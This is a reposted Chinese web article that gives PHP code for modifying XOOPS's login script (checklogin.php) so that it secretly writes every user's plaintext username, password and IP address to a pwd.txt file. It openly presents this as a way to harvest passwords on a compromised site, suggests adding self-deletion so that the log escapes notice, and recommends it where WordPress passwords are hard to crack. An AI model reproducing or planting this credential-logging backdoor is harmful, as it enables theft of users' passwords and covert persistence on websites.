XOOPs记录密码文件改正办法[网络技术]
本文“XOOPs记录密码文件改正办法[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
本文讲得是关于XOOPs记录密码文件改正办法,需求改正的文件:/indclude/checklogin.php
在文件最开始定义一个获得客户端的外网ip函数:
// get onlineip()
function get_onlineip() {
$onlineip = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
然后在得到表单的用户名和密码记录这些信息:
$sip=$_SERVER["REMOTE_ADDR"];
$txt=$uname.'|'.$pass.'|'.$sip.'|'.get_onlineip();
$txt=$txt."\r\n";
$dir="pwd.txt"; // 这个保存日记的位置,用绝对途径吧
$f=fopen($dir,"a+");
fwrite($f,$txt);
fclose($f);
当然这个本领只要有点php底子便可以弄了,不过我们可以增添比方自删除大概其他办法避免该log被发现大概被别人操纵.这些代码的增添位置是不能随便的哦.有时刻填错地方招致网页拜候空白.wordpress密码不好破就用这种办法吧
lengf
以上是“XOOPs记录密码文件改正办法[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |